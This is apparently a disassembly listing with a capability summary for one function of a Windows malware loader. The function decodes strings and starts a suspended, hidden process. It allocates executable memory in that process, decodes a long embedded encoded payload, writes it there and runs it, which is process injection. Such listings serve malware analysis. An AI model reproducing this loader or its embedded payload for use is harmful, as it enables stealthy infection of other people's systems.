Function at 0x401280
Capabilities:
Create process on windows
Create process suspended
Query environment variable
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x520
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov eax, 0x1388
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
movabs rax, 0x68
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x80]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov eax, 0x68
mov dword [rbp - 0x80], eax
movabs rax, 0
mov qword [rbp - 0x88], rax
movabs rax, 0x70d4
mov qword [rbp - 0x90], rax
movabs rax, 0
mov qword [rbp - 0x98], rax
mov eax, 5
mov r11, rax
lea rax, str.S_tW
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.004011c4
mov ecx, 0xa
mov r11, rcx
lea rcx, [0x00403027]
mov r10, rcx
mov qword [rbp - 0x4b8], rax
mov rcx, r10
mov rdx, r11
call fcn.004011c4
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_getenv
mov ecx, 0x14
mov r11, rcx
lea rcx, [0x00403032]
mov r10, rcx
mov qword [rbp - 0x4c0], rax
mov rcx, r10
mov rdx, r11
call fcn.004011c4
mov r9, rax
mov rax, qword [rbp - 0x4c0]
mov r8, rax
mov rax, qword [rbp - 0x4b8]
mov r11, rax
lea rax, [rbp - 0x2a8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_sprintf
mov eax, 9
mov r11, rax
lea rax, [0x00403047]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.004011c4
lea rcx, str.mxyxvmamvw
mov r9, rcx
lea rcx, [rbp - 0x2a8]
mov r8, rcx
mov r11, rax
lea rax, [rbp - 0x4b0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_sprintf
lea rax, [rbp - 0x18]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
movabs rax, 0
mov qword [rsp + 0x38], rax
movabs rax, 0
mov qword [rsp + 0x30], rax
mov eax, 0x8000004
mov qword [rsp + 0x28], rax
mov eax, 0
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
movabs rax, 0
mov r8, rax
lea rax, [rbp - 0x4b0]
mov r11, rax
lea rax, [rbp - 0x2a8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_CreateProcessA
mov eax, 0x40
mov qword [rsp + 0x28], rax
mov eax, 0x3000
mov qword [rsp + 0x20], rax
lea rax, [rbp - 0x90]
mov r9, rax
mov eax, 0
mov r8, rax
lea rax, [rbp - 0x88]
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401c4f
lea rax, str.nvoxcmruKGRpa0ykL138J8bJ7ut9yHhghiNEklvGTLhkd8TVOlOw7zhrcG1z53txp6nEsey15hbG5dL8TLPui1zyndtR2z2Fi6D1_RDnYKksuDRcYpFnX1Jf3B8OVbbowTTa7HwvRyetHnxVaCDwzTHlNb63KBRn_hP9Vck5aiKGqCAfQsIdlnxzNTSPaINVX8S0xck20_RGc_ZPQLpzNrTDBx_F3_Dlpnho7XTGIf2vtmno83RX8Ob1vDFuYzxOSfNexEnnfuMeMSDTl_28FzBFoS95SBfmnaHLzAAI6OMXYsP2EjEoVgiAoddhM18VIIi8T1IWqkw5Cnokr9_xlRzBDCYFKLB1qvC5NNmFqL_ZyuJ5SoK8N38VIeCBW9Mjkh3FZDlpEUuVxStcZJo43B8juBTQl7BC7LWRBzCZPeeVcjWNc3XxlA3emnwV3SwqpTyukWizn1l2lt0TPxqoS9hyYo1aLkh8oOR7eMy8Jizu8Cu84x2y2Wqfp3z3U1npGYZxRqpeZ7VN4ckjzkd186r_YJ2PxfLlKRttxP664SBKHymJBMqcldQjU3GH2I3ba1Z5nePRomR5O3zFKzfpa3MAkJnbkPiqpZdhYtk2Zkcmlmc2Fsd3Fsdnp2cmpub2Rpa3Btc2h2cXBycWFtZmRyaWZzYWx3cWx2enZyam5vZGlrcG1zaHZxcHJxYW1mZHJpZnNhbHdxbHZ6dnJqbm9kaWtwbXNodnFwcnFhbWdkcmllc2Fsd3Fsdnp2cmoDDsRtPvpVenDEIC4Fc3RqkUeinVVb3REdqWqfIwihx5HbwJvwBQ00fw0Xp4QnQ1r3Qi06UsSbqkXxK6vEyZWtiluQw9gJZm1FrBoQXwi9XtaOrDhhemjP3yNHFf8O2R_xZMKD4VIfqU2px_g07eOj9UcGr2U5tpM9lP8KpY61DqzVYCVXekKr3gi6n8cSy3eiXm9VvUb8pjC_7oAKIdUwooLn4HHq2i18BQ2CtdHKK_G_0oWt8K3hLNCgQNH0orDiCQ6C6VvMNCW1BJpvCDN7EM4cuuxJDigYKSEbqAeR6fieJ_USS9LcLn2iFwPPoMz0Bkoi3MazE5HSrQkQ1C2smqjN31opmHZXqQrD9L6ohbKXRKjS5fJp1GK4lrTEm6ifTrYqwYWdYeZoT2c4cIoOqEiYGVuhRJ8PPQJ3uyqdgakDOdF03YampAulkDMiWJ9AiscEjS6GIq9En6L8HN8O7J3UsvWruVet5LVM2_USINyXhMyjS0RBzQutLdHssRfC152ijqMg0nF1GBJUXHBPcTl1fuIAhgD1cl67k2jFpb4RoQuGXQx6ReljdS7KROYSQXHsmE9v985SS2AEU_pxTRo2VmPR0VvC5Vd3e6dCr7Gbb44cZexek1UuuOQoOFVBDKQlf3H1vSN0iOb8A3nBXHsbfxmDfXWvFJm2nJzGrEymoLiUmg5Le6mJy3WGGIUs96oYyjICREdw3syKssjjy2qdJqbprYKCCFy13RcrCzkWwKAJG94cjmv2a8ZIrCMzft46pxLfRqwWYUkbiHNEvZzE9rm5ZJpOBbQDr9lOFJhHI2IhwYbIfI4raxT2D33oW5gChldd9qgjy6FKeD8bWmztEDAxEYtRzyCftTbGvSzNC2ZRrSbSED0sBeN2ZX3ZKDHbswqABXJGw3YN92VifCtytgFS8HGR3fV0z7QliXe7F83bpbl4TwCR1Vg3vP0wUqvwo7ldt1D_4mUNTx0YZ3rEeGnvHP7uasFf5AmLHdWaLsyJECuBHuCj_8ur088RK_vgQmb684pd4i9lJ9bdfIcy2fEH1UAkopa83Xc5swEDypjwW0xRTQx1gOsnJkthSS6BSekweSzUb8qkYpEdEam5M_jhFrodtZRpxgJXFo1ohTNp_WhpNnAaFJMShV4sGZULByWVoZNDdV34JDcTY_1zZpGWZwrOWe9Kgz4FZhxSn3MFdwKBKUHFbSOL5sbNM0W6R63ZlQ0m5fwEpBYIKgTVubPs3I_DrPj5V1rVeT0ZFFngTE7Gz5fXjNJBnicgnCZeBuLSlUpxlbUugFy5IbrJgXE_1D25EGVVEdt3Xrrinmx5jy97rNbob6q79b1FpSfifJIfc6ByGS7Ej8gq9wPtZadYSAsGiYBINwc1nYm939JUCDit6cAiIY557UAFrM8U1jD8OO3BRqlu6rYOVTROyWG_zt0hV0Xfn1s_jzTr8kj2J0HNXhmCB67xuQneHI9kraQxb6QDHIOSaTO0uKKC80N8lZKBuNVneELC9IBgytblcKaWIMMZA497Lr7wYZBcaqNyVHwu1zSNx5ZhpLWU6l_x8Nw5RlZLokTeO1xI777g0wkOJm3cnFZRgu2rcpJ9a9ZQKCzDH_7cj7IEiv3TADx0ZlS_upTbjnbhvFhF1vRwV_mXxN77gmmj219q3sAjPA1kKRQPNFVGzaksMTo024eEqnhrRA1_2HGO3s8GPgSS_87jsiTpzH9rWgI5O1rWvCVYbalDxwZBLGJyQ_N8mYc2RS74b70vJNCCqocmCWdzYYbrhoyM_4XLlJtqhZQb3wYJdKJoTsMkA4p9r5M4yUAgx_5jtlRhH71rLDOBxjtji_o8p2yi4sArUepk4231G8Fd5hGxBodzZ1oM_S7esiJGx4efk6U4WnbqilPN6tLyTBaMsZyvdjQlMVepoZygpK9AnQbPA_qCFeiSgXcsQkAyjpqi_lEKr5uT3YPT6U3q9o1Vt16D_NxhdXMy5ROjoRdZrgYYHmFcft9m6cMjlCNj3VVcB08bICZvW6oeRUvhVJ_poUFQAhN9mw7FxucmkxVsLECPt6TR0uUzMF1oHQClBJg01_FiveoFsFPUrusudFNnS_yfLQ_MCxw63A8tOg9U0qsceqOWRW_1ymttPqQzKTURE3SIRit9OKK_BgSV_RJsD1xt2Tj8RMmFHA9qtSO5MPY_v8ZwsMDznJoF8JUrgZw_fEZWwFrVWTvRzUBzSeivhDWQR2hRLm7ML8bcvQdN4QCFZ2s1ZC4njaPoOnFwxyUfvr9ELyTHqCn5AUpS4ZgtQizJ3rVOQFQlJCmxNmeMFAZUZXx9T6FvfeaECU_MmkNbf87Ey8pxOKW6GPyJbjTmJxzyyZAigwUQzYF2QHQ6j0A6DB59SW5MoHuBtYX4WPQYugDPZ4EQYYdQQ6d3U2sNMeg4d778bXUOW0NHGlkwl6QIMyCZ0eduwRBugkkecqwzoqMnKaWYyKS7HDCbQdTUTu94xo9tyAFG8Cl5OQUULDSuC679FG2nW5RICNhuV3L7sZ7yQieJSjxV4aIJVq5TFN7INWcsws04_NZ0wV9cMi05LnN437sK5d_cjLI_VKr5HePj2rmdJZ1dnBixp24tfXkyzdSak1Q6Ot3XApXdvPHY8MYlhwBA_xXkW2htoWDnGdZDpJf7XkdqZGe9O1t6Fj5WjNUEWDYgby2ySOr047Mgborq0UOLc8M4jZwfPsJ50xWU4d9rMWmpmpM_55auuxaLYGfELzmlNurJPbZnGinpm0sL1DnDu2eRdmsuDa2FH5LmdS35fSspJHUDZiM5OgsvgtMYmxFLbgFJC9c3ZCDGYXzxCUYe5eyPXkajSB6Aroh29iaRKEjDooEyikCBHu0TW4l5Rrr9R0ep0sg6BDk3plMinFHPF0DZ7IRJfvsKz4YLJ0xEy1EOkV0bIKwWcrbrbBuWFgwhDYRx3C4f8IRDnNXlS6gLabHzi0yxPV_AojkXVhXgVxiYxmXBwlMAvIpYWH5NpDbrVSKmFnWUNSpPLB3E0pOcxHU4qAYXP5TypJcKdHzZxlY2hbAFGgFRIFw37cEYlmfgGxORnvEbjKnEUFH6J23ZSp3dwLuqCgTtUHEBB0BtX0w_gr7xBll_3LETYPcywuD4ogfIfTfb8tsBXMZ5ug7En3FKTCGx0ZPuzYJftHLozUlWptDrEHWDJxI_mXXATWtCdqhywY7Defr77ekTm3PebwbvzgD5d1pu8Wb_EE9MSdTTqXnT1yJOF50duDdp4fCXeae9lJ3OD
mov r10, rax
mov rcx, r10
call section..text
mov ecx, 0x70d4
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.004011c4
lea rcx, [rbp - 0x98]
mov qword [rsp + 0x20], rcx
movabs rcx, 0x70d4
mov r9, rcx
mov r8, rax
mov rax, qword [rbp - 0x88]
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401c0f
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0x10
mov r9, rax
lea rax, [rbp - 0x98]
mov r8, rax
lea rax, [rbp - 0x88]
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401c8f
movabs rax, 0
mov qword [rsp + 0x50], rax
movabs rax, 0
mov qword [rsp + 0x48], rax
movabs rax, 0
mov qword [rsp + 0x40], rax
movabs rax, 0
mov qword [rsp + 0x38], rax
mov eax, 0
mov qword [rsp + 0x30], rax
mov rax, qword [rbp - 0x88]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x88]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x18]
mov r9, rax
movabs rax, 0
mov r8, rax
mov eax, 0x20000000
mov r11, rax
lea rax, [rbp - 0xa0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401b8f
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
call fcn.00401bcf
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
call fcn.00401bcf
mov eax, 0
leave
ret